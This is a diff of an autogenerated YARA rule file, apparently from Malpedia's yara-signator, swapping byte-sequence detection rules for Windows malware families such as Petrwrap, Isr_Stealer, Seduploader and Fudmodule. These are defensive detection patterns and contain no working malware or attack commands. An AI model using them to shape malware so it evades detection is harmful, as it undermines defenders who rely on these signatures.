-		$sequence_8 = { 8d8bd0000000 50 8d55d8 c645fc01 e8???????? 6a01 33ff }
-		$sequence_9 = { e8???????? 8bd6 8d8dc8feffff c645fc01 e8???????? c645fc02 83bd04ffffff05 }
+		$sequence_0 = { 3b7744 0f8c19ffffff 8b87ac020000 33ed }
+		$sequence_1 = { 48ffc3 4038341a 75f7 4883791810 488b7910 7203 488b09 }
+		$sequence_2 = { 4863ed 4885ed 0f8ed8000000 8b54b430 }
+		$sequence_3 = { 4c8bc3 4c0f42c7 4d85c0 7504 8bc6 }
+		$sequence_4 = { 4889442470 448bb910010000 4532e4 448aea 488bd9 4585ff 0f8e1e020000 }
+		$sequence_5 = { 4533ff 4c8bf1 44397944 0f8e64010000 }
+		$sequence_6 = { 48894108 4c8b05???????? 488b15???????? 89442420 4d85c0 }
+		$sequence_7 = { 488b09 483bfb 4c8bc3 4c0f42c7 }
+		$sequence_8 = { 45380401 75f7 4c8bc0 498bd1 488d4c2438 }
+		$sequence_9 = { e8???????? 4898 4885c0 751e 483bfb 7313 83c8ff }
+		$sequence_10 = { 85c0 740b b9e8030000 ff15???????? }
+		$sequence_11 = { 4863f0 33d2 8bc2 48c1e006 }
+		$sequence_12 = { 3b566c 0f8d9e000000 488b4660 3b5668 7c1d 2b5668 }
+		$sequence_13 = { 7203 488b00 4c8bc0 498bd7 488d4de0 }
+		$sequence_14 = { 0f84f5000000 4883f910 7205 488b07 }
+		$sequence_15 = { 488d8c2490060000 e8???????? 90 488b942490060000 803a00 7505 4d8bc6 }
 
 	condition:
-		7 of them and filesize <376832
+		7 of them and filesize <1573888
 }
-rule MALPEDIA_Win_Rambo_Auto : FILE
+rule MALPEDIA_Win_Nim_Blackout_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9952c16f-0ad8-5b79-a375-78c277443f5b"
+		id = "5ee8f0fb-bcc5-57f1-899f-f87f9c8f8cd3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rambo_auto.yar#L1-L172"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nim_blackout_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "289c05fe82444eba5e21e680847ee18f8bd6fcd3320474143e269d581daca21f"
+		logic_hash = "38658558791a84132e6c1e0a028a41bbfaac44e317840b869e572ec902a09080"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136296,38 +143332,32 @@ rule MALPEDIA_Win_Rambo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7508 e8???????? 59 50 ff7508 ff15???????? 56 }
-		$sequence_1 = { e8???????? ff750c 8d85ecfdffff 50 e8???????? }
-		$sequence_2 = { ff15???????? 83c41c 6a01 58 5e c9 }
-		$sequence_3 = { 85f6 7437 56 6a01 }
-		$sequence_4 = { ff7508 8d85f8feffff 50 e8???????? 8065fe00 8d45fc 50 }
-		$sequence_5 = { 83c428 6a32 ff15???????? 8d85f8faffff 50 68???????? }
-		$sequence_6 = { 56 57 8d85f8faffff 6a01 50 ff15???????? 80a43df8faffff00 }
-		$sequence_7 = { 50 8d85f8feffff 50 c645fc72 }
-		$sequence_8 = { 756b 57 b940000000 8d7c240d 8844240c f3ab }
-		$sequence_9 = { f3aa 8bcb 8d7c2474 8bc1 }
-		$sequence_10 = { e8???????? 8d4c2410 c684240004000007 e8???????? 68b6000000 8d542414 }
-		$sequence_11 = { 8d8c2488000000 e8???????? 57 57 8d4c2424 }
-		$sequence_12 = { e8???????? 8d4c2428 c684240004000005 e8???????? 8d4c2414 c684240004000004 }
-		$sequence_13 = { 8b35???????? a3???????? ffd6 3db7000000 7418 }
-		$sequence_14 = { 89442418 8b4309 84c9 7403 50 }
-		$sequence_15 = { f3a5 8bcb 8d9424f8020000 83e103 f3a4 bf???????? 83c9ff }
+		$sequence_0 = { 4889c8 83e001 84c0 7405 e8???????? 488b45f0 4885c0 }
+		$sequence_1 = { 48c7401800000000 e9???????? 90 48c745e0c6000000 488d057d5c0200 488945e8 }
+		$sequence_2 = { 488d057ad80000 488905???????? 488d05d85b0200 488905???????? c605????????01 48c705????????60000000 }
+		$sequence_3 = { e8???????? 48c745e0e7000000 488d05c37e0200 488945e8 488b4510 488b00 ba08000000 }
+		$sequence_4 = { e9???????? 90 48c785a800000000000000 48c785a000000000000000 48c7450088010000 488d05885b0100 48894508 }
+		$sequence_5 = { 488945c8 488b4de8 488b55e0 4889d0 4801c0 4801d0 48c1e003 }
+		$sequence_6 = { 488b1402 4889c8 4801c0 4801c8 48c1e004 4889c1 }
+		$sequence_7 = { 488d0542460200 488945c8 488b4510 488b55f8 4889d1 48c1e105 488b55f0 }
+		$sequence_8 = { 488b4588 488945f0 eb49 90 48c745d033000000 488d05f48e0100 488945d8 }
+		$sequence_9 = { 48894508 48c785f800000000000000 48c7450084010000 488d05bf5c0100 48894508 4883bdf000000000 0f84ff000000 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <1068032
 }
-rule MALPEDIA_Win_7Ev3N_Auto : FILE
+rule MALPEDIA_Win_Ployx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cf231267-d18f-5fab-bbdf-ab3bf00ba51c"
+		id = "7a9ae933-1e52-56f8-912b-cfaf3c1a4d79"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.7ev3n_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ployx_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "3d3793244c4ff8a9f87ce7ce50051977c17fdc03ef0f8a315973a688f14f4ceb"
+		logic_hash = "92d48577836748eb447c5a838f0c9893d40b34aa95d5979c4991a0399ec4439d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136341,32 +143371,32 @@ rule MALPEDIA_Win_7Ev3N_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8dd0cdffff e8???????? 8bce 2bcf 3bc1 0f8402b10000 }
-		$sequence_1 = { 8bd4 89a50cf9ffff c7421407000000 c7421000000000 668902 66398560ffffff 7504 }
-		$sequence_2 = { 894104 a0???????? 884108 6a00 8d8504ffffff 50 }
-		$sequence_3 = { c785e4fdffff00000000 6a00 c785e0fdffffd0a54500 ff15???????? 33c0 c705????????07000000 }
-		$sequence_4 = { 8d85acefffff 50 8d8dd0cdffff e8???????? 8bce 2bcf }
-		$sequence_5 = { 6a00 8d85fcfeffff 50 8d8dd0cdffff e8???????? 8bce 2bcb }
-		$sequence_6 = { 8dbd38f1ffff 8d4f02 0f1f840000000000 668b07 83c702 6685c0 75f5 }
-		$sequence_7 = { 8b0c8d20934500 80643128fd 5f 5e 8be5 5d c3 }
-		$sequence_8 = { f30f7e05???????? 660fd68564e6ffff 0fb705???????? 6689856ce6ffff f30f7e05???????? 660fd68558e6ffff 0fb705???????? }
-		$sequence_9 = { 0f84724c0000 8dbda0ddffff 8d4f02 0f1f840000000000 668b07 83c702 6685c0 }
+		$sequence_0 = { 8bc3 25ff000000 59 3bf0 59 7443 }
+		$sequence_1 = { 33db 897df8 e8???????? 397dfc 59 59 }
+		$sequence_2 = { 33ff 59 85c0 7e19 8bf0 8bfe 6a20 }
+		$sequence_3 = { 66ab ff35???????? aa 8d8588faffff 68???????? 50 }
+		$sequence_4 = { 8d3c78 8d0437 50 e8???????? 8b4d08 8d3c78 8d0437 }
+		$sequence_5 = { b9???????? b800020000 8d5f02 99 f7fb 47 8901 }
+		$sequence_6 = { 33ff 99 59 f7f9 8bc2 03c1 99 }
+		$sequence_7 = { 59 8945f4 0f848f000000 8d45e8 50 }
+		$sequence_8 = { e8???????? 83c40c 8d85a4fcffff 6a00 50 ff15???????? 8945e8 }
+		$sequence_9 = { 740f 3b7df8 7503 8975f8 57 }
 
 	condition:
-		7 of them and filesize <803840
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Cameleon_Auto : FILE
+rule MALPEDIA_Win_Veiledsignal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "65617330-75c8-57cf-8907-1895d87814f0"
+		id = "caf6fec1-c7fc-5e46-9ec5-501cbcaa1f6a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cameleon_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.veiledsignal_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "1c72ed0d3ea99fe45b9cdedee31a0c82e32752220a6d117c9414b55a84125b1d"
+		logic_hash = "36bfcf538a747481c06e92b8c775b0fad665f748b3dccf3367e494f75f4840ed"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136380,32 +143410,32 @@ rule MALPEDIA_Win_Cameleon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 56 57 8bf9 897df0 c745ec00000000 8b07 }
-		$sequence_1 = { 8a80f8c70410 8807 47 46 8bcb c6458301 e8???????? }
-		$sequence_2 = { 83ec18 8bd4 8965ec c7421000000000 c7421400000000 }
-		$sequence_3 = { 8d7dd0 837de408 0f437dd0 83ec18 8bd4 c7421000000000 c7421400000000 }
-		$sequence_4 = { 48 a3???????? ff15???????? 8b0d???????? 89048d98ce0510 5d c3 }
-		$sequence_5 = { 247f 88441628 eb12 0c80 88441628 8b0cbd50d60510 c644112900 }
-		$sequence_6 = { b83b000000 663bc8 0f94c0 84c0 7431 }
-		$sequence_7 = { 8d55dc c645fc02 8d8d24ffffff e8???????? 8bc8 8b01 }
-		$sequence_8 = { 8bd9 56 57 837b3800 0f848c010000 807b3d00 0f8482010000 }
-		$sequence_9 = { 5d c20400 85ff 75d4 897e10 837e1408 720f }
+		$sequence_0 = { 7516 488d05c7390400 4a8b04e8 42385cf839 0f84c2000000 488d05b1390400 }
+		$sequence_1 = { 488d0dbabb0400 48c7040102000000 b808000000 486bc000 488b0d???????? 48894c0420 b808000000 }
+		$sequence_2 = { 0f1f440000 488d54244c 488bce e8???????? 488bcb }
+		$sequence_3 = { 4881c458010000 c3 83f802 7571 488d0516010000 488905???????? 488d0529010000 }
+		$sequence_4 = { 7ec4 83c8ff eb0b 4803f6 418b84f7a8140100 85c0 }
+		$sequence_5 = { 81f95a290000 752b 488d0df8030000 b801000000 48890d???????? }
+		$sequence_6 = { 4c8d0d97960000 498bd1 448d4008 3b0a 742b ffc0 }
+		$sequence_7 = { e8???????? 488bd7 4c8d05e3270400 83e23f 488bcf 48c1f906 }
+		$sequence_8 = { 4883ec20 8b1d???????? eb1d 488d0573b10400 ffcb }
+		$sequence_9 = { ff15???????? 488b55cf 488bc8 ff15???????? 488b4dd7 }
 
 	condition:
-		7 of them and filesize <824320
+		7 of them and filesize <667648
 }
-rule MALPEDIA_Win_Htbot_Auto : FILE
+rule MALPEDIA_Win_Isr_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9061a5e4-8534-51fe-80a9-1a440b66e0d7"
+		id = "f92134ff-d8ee-58cb-8cb8-468d7205306f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htbot_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isr_stealer_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "90f98baa748c169d2b4b8297454f9f854e4138797b2c83ac6d83acccfa4dd9b0"
+		logic_hash = "75691989209029cb7a637cf5df87a857ef3ef18b6fe3194f56cba1ecab86658c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136419,32 +143449,32 @@ rule MALPEDIA_Win_Htbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 68???????? 51 ff15???????? 85c0 7524 }
-		$sequence_1 = { 56 57 8b7c2440 8b474c 89442414 c7474c00000000 }
-		$sequence_2 = { 8908 8b15???????? 8d0c52 83c2ff a3???????? 8d4488f8 8b0d???????? }
-		$sequence_3 = { 8b11 50 8b4204 ffd0 8bc5 e9???????? 8d77f0 }
-		$sequence_4 = { 51 8bc8 ffd2 8bf8 85ff 0f84ccfeffff 8b4604 }
-		$sequence_5 = { 83f801 7e68 8d4d02 6a22 51 }
-		$sequence_6 = { 83c010 894510 c684244402000003 a1???????? 8b500c b9???????? ffd2 }
-		$sequence_7 = { 8903 c744241c00000000 8b7c2424 8b4708 83c708 8378f400 c744241001000000 }
-		$sequence_8 = { 83c010 894514 c684244402000004 a1???????? 8b500c }
-		$sequence_9 = { 51 ff15???????? 8d46f0 8d500c 83c9ff f00fc10a 49 }
+		$sequence_0 = { fb b05e 2bc1 e8???????? 661e }
+		$sequence_1 = { 08ac22c115978d 0e e8???????? 07 }
+		$sequence_2 = { 1c8b 53 2456 2bd1 807e6543 }
+		$sequence_3 = { 46 1e 301b 15c2c8c807 d6 12d8 }
+		$sequence_4 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e e8???????? }
+		$sequence_5 = { a7 8d16 b205 07 d32cb6 08ac22c115978d }
+		$sequence_6 = { 07 fb b05e 2bc1 e8???????? }
+		$sequence_7 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e }
+		$sequence_8 = { 07 d32cb6 08ac22c115978d 0e e8???????? }
+		$sequence_9 = { e8???????? 07 fb b05e 2bc1 e8???????? 661e }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Huskloader_Auto : FILE
+rule MALPEDIA_Win_Seduploader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b71c66f-6603-595c-99bb-89c942583260"
+		id = "7f16d7a9-71b0-5c84-ab55-9cb76a2d5976"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.huskloader_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.seduploader_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "0b5c5ed5027920c73090f364afb1f0be41c97145cf9de72e357bac2712d50fca"
+		logic_hash = "59b0ef9c5ade0664bc2e5b83dd5075b45d913aac7ac67fc4cf5358fb404425b7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136458,32 +143488,32 @@ rule MALPEDIA_Win_Huskloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc7 83e03f 6bc838 8b0495e88d0110 }
-		$sequence_1 = { 59 e9???????? c745e003000000 e9???????? c745e4c05e0110 ebb8 d9e8 }
-		$sequence_2 = { 6a00 681f000f00 50 ff15???????? 85c0 }
-		$sequence_3 = { 740e 50 e8???????? 83a6e88d011000 59 83c604 81fe00020000 }
-		$sequence_4 = { 8d043b 8b3485601f0110 8d4601 8945fc 8a06 46 }
-		$sequence_5 = { 57 8bb81c060000 6a40 6800300000 56 6a00 ff15???????? }
-		$sequence_6 = { 85c0 7411 8b35???????? b98b010000 }
-		$sequence_7 = { 7420 6bc618 57 8db8288c0110 57 ff15???????? }
-		$sequence_8 = { 8b35???????? 85f6 7420 6bc618 57 8db8288c0110 57 }
-		$sequence_9 = { 0fb704850c3b0110 8d048508320110 50 8d8590faffff 03c7 50 }
+		$sequence_0 = { 50 ff7630 e8???????? 83c40c 3b4508 }
+		$sequence_1 = { c6411001 c3 55 8bec }
+		$sequence_2 = { 8b4510 83c6fe 8930 8d4601 }
+		$sequence_3 = { 8b4510 83c6fe 8930 8d4601 50 e8???????? }
+		$sequence_4 = { 5e c3 55 8bec e8???????? 8b4d0c }
+		$sequence_5 = { 8b4510 83c6fe 8930 8d4601 50 }
+		$sequence_6 = { e8???????? 8b4510 83c6fe 8930 }
+		$sequence_7 = { ff763c e8???????? 83c40c 3b4508 }
+		$sequence_8 = { ff7630 e8???????? 83c40c 3b4508 }
+		$sequence_9 = { 50 e8???????? 8b4510 83c6fe 8930 8d4601 50 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <401408
 }
-rule MALPEDIA_Win_Billgates_Auto : FILE
+rule MALPEDIA_Win_Shipshape_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2ccab9f1-e7c2-5897-af43-0d6c30857357"
+		id = "77ebf79f-670a-594a-bd26-db4684807e7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.billgates_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shipshape_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "e0a8f89c836a13df9d06b620bc16eb3744a9d5b82a5ea28cb550060f6d08f1fc"
+		logic_hash = "d30091c6ebd49f11de789ea622fcb4cbfab75e230e1b049ba06177bb5b7dc7cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136497,32 +143527,32 @@ rule MALPEDIA_Win_Billgates_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3c11 7408 3c22 7404 3c30 }
-		$sequence_1 = { 8d8809f9ffff b8c94216b2 f7e9 03d1 }
-		$sequence_2 = { 3c58 7507 b802000000 eb02 }
-		$sequence_3 = { 740c 3c11 7408 3c22 7404 3c30 }
-		$sequence_4 = { 3c10 740c 3c11 7408 }
-		$sequence_5 = { 83f8ff 750c ff15???????? 8bd8 f7db }
-		$sequence_6 = { 3c11 7408 3c22 7404 }
-		$sequence_7 = { ff15???????? 83f8ff 7508 ff15???????? f7d8 85c0 }
-		$sequence_8 = { 3c10 740c 3c11 7408 3c22 }
-		$sequence_9 = { 3c10 740c 3c11 7408 3c22 7404 }
+		$sequence_0 = { 68???????? 68???????? 8d942440020000 68???????? 52 }
+		$sequence_1 = { 83e103 50 f3a4 ffd3 e9???????? 56 e8???????? }
+		$sequence_2 = { 68???????? 8d942440020000 68???????? 52 e8???????? 83c434 }
+		$sequence_3 = { c1f905 8b0c8d60d54000 f644c10401 8d04c1 7403 8b00 }
+		$sequence_4 = { 8d542438 8d842400070000 52 50 }
+		$sequence_5 = { 8d84244c040000 68???????? 50 e8???????? 8d8c2454040000 51 }
+		$sequence_6 = { 8d4c2414 50 51 6a00 6a00 6a00 }
+		$sequence_7 = { 5b 81c440060000 c3 56 57 }
+		$sequence_8 = { 50 51 ffd3 5f 5e 33c0 }
+		$sequence_9 = { 83c418 3bc6 7e0f 5f 5e }
 
 	condition:
-		7 of them and filesize <801792
+		7 of them and filesize <338386
 }
-rule MALPEDIA_Win_Petrwrap_Auto : FILE
+rule MALPEDIA_Win_Protonbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "335058f1-6093-5213-b714-ccf692d43a50"
+		id = "b19d2c4d-3d72-5fe6-aaaa-c0b323237a91"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.petrwrap_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.protonbot_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "3085058da5fe07c21c7301994557a19255100cfc23f593064f4716726b348a1c"
+		logic_hash = "9f42d2358a0490651f249ec756eecbb8cc6207cec8ace7f179285ca0a209261c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136536,32 +143566,32 @@ rule MALPEDIA_Win_Petrwrap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7e9 c1fa02 8bc2 c1e81f 40 03c2 687f010000 }
-		$sequence_1 = { 136c2414 894c2428 8b4c246c 896c2420 8d4960 e8???????? 8b4c2440 }
-		$sequence_2 = { 50 57 57 c744242400000000 c744242800000000 c744242c00000000 c744243800000000 }
-		$sequence_3 = { 8b7c2418 f7c3fcffffff 0f8496000000 897c2420 8d4900 6a00 56 }
-		$sequence_4 = { 53 53 896c2448 8844241f 660fd6442454 e8???????? 83c40c }
-		$sequence_5 = { 8bca 83d100 01460c 8b442424 83d100 83c310 83ed04 }
-		$sequence_6 = { 89460c 8b06 53 55 8b2f 8b7f04 33db }
-		$sequence_7 = { 8b7c2444 33fb 237c2434 23cb }
-		$sequence_8 = { 897db0 6a00 ff75c8 ff55d8 6a00 6a16 }
-		$sequence_9 = { 7f04 8bc5 eb0e 56 55 e8???????? 8b54242c }
+		$sequence_0 = { 0f434550 6a00 6a00 6a00 }
+		$sequence_1 = { 8b36 8d442408 50 56 e8???????? 83c408 83f808 }
+		$sequence_2 = { e8???????? 8d8dd4feffff e8???????? 83c418 c645fc01 }
+		$sequence_3 = { 899df8fffeff e8???????? 83c410 8bf8 }
+		$sequence_4 = { 8bf1 6a04 c745fc01000000 e8???????? 83c404 8bf8 }
+		$sequence_5 = { 837f1410 7202 8b3f 57 50 e8???????? ffb5d4feffff }
+		$sequence_6 = { 7f8d 5e 5f 33c0 5b 8b4dfc }
+		$sequence_7 = { 50 8d45f4 64a300000000 8bda 8bf9 8d8dd8feffff }
+		$sequence_8 = { 8d85b8fbffff 0f4385b8fbffff 50 8d85d0fbffff 68ff000000 50 e8???????? }
+		$sequence_9 = { b901000000 8bc2 c1e81e 33c2 69d06589076c 03d1 89948d54ecffff }
 
 	condition:
-		7 of them and filesize <1024000
+		7 of them and filesize <1073152
 }
-rule MALPEDIA_Win_Electricfish_Auto : FILE
+rule MALPEDIA_Win_Fudmodule_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b2332381-c1cc-58e9-8fab-7070fccf8e24"
+		id = "c661ff1b-7299-5697-883f-829f2d507cdf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.electricfish_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fudmodule_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "1f7cb8b65f3bb65395bc124290e1a31ce340990c85196e747881fa433bd41f37"
+		logic_hash = "18effdd37514264473c04c4c667c18f4f01327ffa64b50ebf53a4b08029b6c60"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136575,32 +143605,38 @@ rule MALPEDIA_Win_Electricfish_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c404 85c0 0f84e3fdffff 8b442410 6a00 50 }
-		$sequence_1 = { e8???????? 8bd8 83c404 85db 7523 683e010000 68???????? }
-		$sequence_2 = { c3 8b5104 57 6a77 68???????? 8910 8b39 }
-		$sequence_3 = { 8b442408 6855090000 68???????? 6a41 6896010000 6a14 c70050000000 }
-		$sequence_4 = { e8???????? 83c418 85c0 0f8fd7faffff 5f 5e 5d }
-		$sequence_5 = { 8945c4 8945c8 8945cc 8945d0 89a540ffffff 6aff 894110 }
-		$sequence_6 = { 689b010000 68???????? 6a08 e8???????? 83c40c 85c0 751f }
-		$sequence_7 = { 51 55 e8???????? 83c408 3bc3 7504 6a6e }
-		$sequence_8 = { c3 57 56 e8???????? 83c408 6893000000 68???????? }
-		$sequence_9 = { 0fb74550 c7459418001800 c7459848000000 84db 7402 03c0 0fb74d18 }
+		$sequence_0 = { 0f99c4 660fc8 f6d4 58 e9???????? e9???????? 660fbae405 }
+		$sequence_1 = { 66d3d3 f7db f6d3 4883c420 }
+		$sequence_2 = { e9???????? 0fb78120010000 b9b01d0000 663bc1 76e3 b97d4f0000 }
+		$sequence_3 = { d3d8 31d2 0c5b 89d0 }
+		$sequence_4 = { 498b8c24d8090000 e8???????? 498b8c24e0090000 e8???????? 4983bc24d809000000 488bb42480000000 488b5c2478 }
+		$sequence_5 = { 488d45af 41b908000000 4d8bc5 4889442420 ff96d00d0000 }
+		$sequence_6 = { 0f855b73ffff 66d3fe 80fbfc 09e6 89f9 6681c69719 }
+		$sequence_7 = { 41ffc1 453bc8 7e27 b818000000 8bc8 }
+		$sequence_8 = { 55 57 4154 488dac2400feffff 4881ec00030000 488b05???????? 4833c4 }
+		$sequence_9 = { 210a dd63c2 58 5f }
+		$sequence_10 = { 85c0 755f 488b4c2470 e8???????? 448b86b40c0000 }
+		$sequence_11 = { 0facea1a 56 660fbdf4 0fc1ca 488b5510 d2e5 }
+		$sequence_12 = { f9 81fd658b2961 83c101 84c0 660fbae005 d2fb }
+		$sequence_13 = { 66d3f3 0fcf 8b3e 6681feaa7e 00ef 18cb }
+		$sequence_14 = { 48ff25???????? 4889742410 55 57 4154 488bec 4883ec60 }
+		$sequence_15 = { ff96d00d0000 4c8b5d97 4d3bdc 75c8 }
 
 	condition:
-		7 of them and filesize <3162112
+		7 of them and filesize <795648
 }
-rule MALPEDIA_Win_Unidentified_069_Auto : FILE
+rule MALPEDIA_Win_Romeos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "26eb5c23-2d98-5320-b3d2-36b6e8a74eb7"
+		id = "0156645c-05e4-5c43-9143-7d272fa7b808"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_069_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.romeos_auto.yar#L1-L178"
 		license_url = "N/A"
-		logic_hash = "c4b44dbf77c8a02d5a553e1bfca3c92784cdebd7456417ad5b23ba2172632d6b"
+		logic_hash = "c5549ec98f2ed02ef2ebca3bfe2dbd57b9e8c34679be2e9e834dd93b596fc1fe"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136614,32 +143650,38 @@ rule MALPEDIA_Win_Unidentified_069_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd3 33c0 5f 5b c9 c20400 55 }
-		$sequence_1 = { 8bc6 c1e710 e8???????? 0fb7c0 0bc7 8945cc }
-		$sequence_2 = { ff15???????? 8b3d???????? 8945f0 3bc6 7460 53 }
-		$sequence_3 = { 85c0 7520 ff7508 e8???????? 85c0 7414 ff7508 }
-		$sequence_4 = { 68???????? 891d???????? 891d???????? ffd6 8b35???????? 68???????? ffd6 }
-		$sequence_5 = { 84c0 7504 c645fa01 807dfbff 6a08 5b 0f8581000000 }
-		$sequence_6 = { 52 51 50 e8???????? 015608 837de000 8b4608 }
-		$sequence_7 = { 7447 8d85c8fdffff 50 e8???????? 6811270000 56 }
-		$sequence_8 = { 83e924 85ff 77f3 3bf8 7427 85ff 750e }
